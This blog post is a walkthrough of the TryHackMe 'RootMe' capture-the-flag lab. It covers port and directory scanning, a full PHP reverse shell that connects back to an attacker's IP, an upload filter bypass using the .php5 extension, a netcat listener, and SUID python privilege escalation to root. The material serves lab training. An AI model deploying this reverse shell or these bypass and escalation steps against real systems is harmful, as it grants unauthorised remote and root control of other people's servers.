TryHackMe: RootMe CTF Detailed Walkthrough | 2022

Shashwat Agrawal
30 Jun, 2022

 TryHackMe: RootMe CTF Detailed Walkthrough | 2022 

TryHackMe: RootMe CTF Detailed Walkthrough | 2022

Introduction:- 

RootMe is an easy CTF machine to solve available on TryHackMe, today we will be taking a look at exploiting the machine. 

Task 1: Deploy the machine 

Connect to the TryHackMe network and deploy the machine. 

Task 2: Reconnaissance

Nmap Scan


# Nmap 7.92 scan initiated Thu Jun 30 10:32:31 2022 as: nmap -sC -sV -oN Nmap.txt 10.10.171.174
Nmap scan report for 10.10.171.174
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_ 256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 30 10:36:41 2022 -- 1 IP address (1 host up) scanned in 250.61 seconds


The number of open ports. 

2 

What version of Apache is running?

2.4.29

What service is running on port 22?

ssh

Directory Bruteforcing 

As the port 80 is there is a server up and running on port 80 we can explore that, and find the some of the other directories in there using go buster. 


$ gobuster dir -u http://10.10.171.174 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.171.174
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/06/30 10:54:36 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://10.10.171.174/css/]
/index.php (Status: 200) [Size: 616]
/js (Status: 301) [Size: 311] [--> http://10.10.171.174/js/]
/panel (Status: 301) [Size: 314] [--> http://10.10.171.174/panel/]
/server-status (Status: 403) [Size: 278]
/uploads (Status: 301) [Size: 316] [--> http://10.10.171.174/uploads/]

===============================================================
2022/06/30 10:56:20 Finished
===============================================================


We found an interesting page /panel where we can upload some file we can try to upload a reverse shell in there. 

TryHackMe: RootMe CTF Detailed Walkthrough | 2022

Task 3: Getting a Shell

As it's an upload section we can upload a PHP reverse shell here in order to get a shell. 

PHP reverse shell 


<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '0.0.0.0'; // CHANGE THIS WITH YOUR IP
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>


Uploading the shell 

At first, when I tried to upload the file it denied saying PHP is not allowed. 


Then I tried changing some PHP extensions


    php
    php3
    php4
    php5
    phtml


As there are only 5 PHP extensions I did it manually by changing the extension and then trying each manually you can also use an automatic tool for doing this like burp suite. 

The php5 extension worked. 

TryHackMe: RootMe CTF Detailed Walkthrough | 2022

Executing the shell 

Before executing the shell first start a reverse shell listener on the port you have set and uploaded the reverse shell. 


$ nc -lnvp 1234


After you have successfully started the reverse shell now you can execute the reverse shell we just uploaded.


http://IP_OF_THE_MACHINE/uploads/NAME_OF_THE_SHELL.php5


Navigate to this page in your browser and press Enter;

You got the reverse shell. 

Interactive shell 

It's not mandatory, but you can get it if you want. 


python -c 'import pty; pty.spawn("/bin/bash")'


First Flag 

After digging into to machine for some time, I found that the flag is in the /var/www/

TryHackMe: RootMe CTF Detailed Walkthrough | 2022

Task 4: Privilege escalation 

Searching files with SUID permissions

As now we have the initial foothold on the machine we can try finding some weak permission or the SUID bits that are set. 

When I get to solve this kind of machine I personally first try to see some SUID bits. So I did that here too. 


bash-4.4$ find / -user root -perm /4000 2>/dev/null


And Boom!! we found that the python has the SUID bit set. We can exploit it easily just get to the  

GTFOBINS here you can find many ways to exploit something if it is vulnerable to something. 

Getting the root privilege


python -c 'import os; os.execl("/bin/sh", "sh", "-p")'


This will give you the root shell of the machine and now you know what you have to do. 

Getting the root flag

TryHackMe: RootMe CTF Detailed Walkthrough | 2022

Congratulations, we have successfully exploited the machine and did the privilege escalation. 

Conclusion:- 

  1. We first did the Nmap scan to find the open ports that we can exploit. 

  2. We then used go buster to do the directory brute-forcing. 

  3. We uploaded the PHP reverse shell to get the initial foothold o the system. 

  4. We searched for the SUID bits, that are set. 

  5. We exploited the binary that has a SUID bit set. 

  6. Got the Root flag. 


Next Post Previous Post
No Comment
Add Comment
comment url